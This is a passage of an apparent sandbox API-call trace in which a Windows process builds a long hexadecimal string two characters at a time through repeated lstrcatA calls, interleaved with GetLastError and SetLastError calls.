	[0061.641] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77", lpString2="50" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e7750") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e7750"
	[0061.641] GetLastError () returned 0x0
	[0061.641] SetLastError (dwErrCode=0x0) 
	[0061.641] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e7750", lpString2="2b" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b"
	[0061.641] GetLastError () returned 0x0
	[0061.641] SetLastError (dwErrCode=0x0) 
	[0061.641] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b", lpString2="8e" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e"
	[0061.641] GetLastError () returned 0x0
	[0061.641] SetLastError (dwErrCode=0x0) 
	[0061.641] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e", lpString2="99" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e99") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e99"
	[0061.641] GetLastError () returned 0x0
	[0061.641] SetLastError (dwErrCode=0x0) 
	[0061.641] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e99", lpString2="36" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936"
	[0061.641] GetLastError () returned 0x0
	[0061.641] SetLastError (dwErrCode=0x0) 
	[0061.641] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936", lpString2="ed" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936ed") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936ed"
	[0061.641] GetLastError () returned 0x0
	[0061.642] SetLastError (dwErrCode=0x0) 
	[0061.642] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936ed", lpString2="be" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe"
	[0061.642] GetLastError () returned 0x0
	[0061.642] SetLastError (dwErrCode=0x0) 
	[0061.642] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe", lpString2="6c" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c"
	[0061.642] GetLastError () returned 0x0
	[0061.642] SetLastError (dwErrCode=0x0) 
	[0061.642] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c", lpString2="2a" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a"
	[0061.642] GetLastError () returned 0x0
	[0061.642] SetLastError (dwErrCode=0x0) 
	[0061.642] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a", lpString2="95" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95"
	[0061.642] GetLastError () returned 0x0
	[0061.642] SetLastError (dwErrCode=0x0) 
	[0061.642] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95", lpString2="ba" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba"
	[0061.642] GetLastError () returned 0x0
	[0061.642] SetLastError (dwErrCode=0x0) 
	[0061.642] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba", lpString2="91" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91"
	[0061.642] GetLastError () returned 0x0
	[0061.642] SetLastError (dwErrCode=0x0) 
	[0061.642] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91", lpString2="b5" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b5") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b5"
	[0061.642] GetLastError () returned 0x0
	[0061.642] SetLastError (dwErrCode=0x0) 
	[0061.642] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b5", lpString2="4d" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d"
	[0061.642] GetLastError () returned 0x0
	[0061.642] SetLastError (dwErrCode=0x0) 
	[0061.642] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d", lpString2="51" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d51") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d51"
	[0061.642] GetLastError () returned 0x0
	[0061.642] SetLastError (dwErrCode=0x0) 
	[0061.643] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d51", lpString2="35" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135"
	[0061.643] GetLastError () returned 0x0
	[0061.643] SetLastError (dwErrCode=0x0) 
	[0061.643] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135", lpString2="69" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d513569") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d513569"
	[0061.643] GetLastError () returned 0x0
	[0061.643] SetLastError (dwErrCode=0x0) 
	[0061.643] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d513569", lpString2="78" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d51356978") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d51356978"
	[0061.643] GetLastError () returned 0x0
	[0061.643] SetLastError (dwErrCode=0x0) 
	[0061.643] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d51356978", lpString2="40" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840"
	[0061.643] GetLastError () returned 0x0
	[0061.643] SetLastError (dwErrCode=0x0) 
	[0061.643] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840", lpString2="71" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d513569784071") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d513569784071"
	[0061.643] GetLastError () returned 0x0
	[0061.643] SetLastError (dwErrCode=0x0) 
	[0061.643] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d513569784071", lpString2="3b" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b"
	[0061.643] GetLastError () returned 0x0
	[0061.643] SetLastError (dwErrCode=0x0) 
	[0061.643] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b", lpString2="50" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b50") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b50"
	[0061.643] GetLastError () returned 0x0
	[0061.643] SetLastError (dwErrCode=0x0) 
	[0061.643] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b50", lpString2="3a" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a"
	[0061.643] GetLastError () returned 0x0
	[0061.643] SetLastError (dwErrCode=0x0) 
	[0061.643] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a", lpString2="1b" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1b") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1b"
	[0061.643] GetLastError () returned 0x0
	[0061.643] SetLastError (dwErrCode=0x0) 
	[0061.644] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1b", lpString2="b4" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb4") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb4"
	[0061.644] GetLastError () returned 0x0
	[0061.644] SetLastError (dwErrCode=0x0) 
	[0061.644] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb4", lpString2="95" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495"
	[0061.644] GetLastError () returned 0x0
	[0061.644] SetLastError (dwErrCode=0x0) 
	[0061.644] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495", lpString2="55" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb49555") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb49555"
	[0061.644] GetLastError () returned 0x0
	[0061.644] SetLastError (dwErrCode=0x0) 
	[0061.644] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb49555", lpString2="3b" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b"
	[0061.644] GetLastError () returned 0x0
	[0061.644] SetLastError (dwErrCode=0x0) 
	[0061.644] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b", lpString2="8b" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b"
	[0061.644] GetLastError () returned 0x0
	[0061.644] SetLastError (dwErrCode=0x0) 
	[0061.644] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b", lpString2="82" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82"
	[0061.644] GetLastError () returned 0x0
	[0061.644] SetLastError (dwErrCode=0x0) 
	[0061.644] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82", lpString2="80" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b8280") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b8280"
	[0061.644] GetLastError () returned 0x0
	[0061.644] SetLastError (dwErrCode=0x0) 
	[0061.644] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b8280", lpString2="62" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b828062") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b828062"
	[0061.644] GetLastError () returned 0x0
	[0061.644] SetLastError (dwErrCode=0x0) 
	[0061.644] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b828062", lpString2="02" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202"
	[0061.645] GetLastError () returned 0x0
	[0061.645] SetLastError (dwErrCode=0x0) 
	[0061.645] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202", lpString2="a8" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8"
	[0061.645] GetLastError () returned 0x0
	[0061.645] SetLastError (dwErrCode=0x0) 
	[0061.645] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8", lpString2="69" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a869") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a869"
	[0061.645] GetLastError () returned 0x0
	[0061.645] SetLastError (dwErrCode=0x0) 
	[0061.645] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a869", lpString2="0e" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e"
	[0061.645] GetLastError () returned 0x0
	[0061.645] SetLastError (dwErrCode=0x0) 
	[0061.645] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e", lpString2="6b" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b"
	[0061.645] GetLastError () returned 0x0
	[0061.645] SetLastError (dwErrCode=0x0) 
	[0061.645] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b", lpString2="44" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b44") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b44"
	[0061.645] GetLastError () returned 0x0
	[0061.645] SetLastError (dwErrCode=0x0) 
	[0061.645] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b44", lpString2="6d" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446d") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446d"
	[0061.645] GetLastError () returned 0x0
	[0061.645] SetLastError (dwErrCode=0x0) 
	[0061.645] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446d", lpString2="ab" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab"
	[0061.645] GetLastError () returned 0x0
	[0061.645] SetLastError (dwErrCode=0x0) 
	[0061.645] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab", lpString2="3a" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a"
	[0061.645] GetLastError () returned 0x0
	[0061.646] SetLastError (dwErrCode=0x0) 
	[0061.646] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a", lpString2="37" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37"
	[0061.646] GetLastError () returned 0x0
	[0061.646] SetLastError (dwErrCode=0x0) 
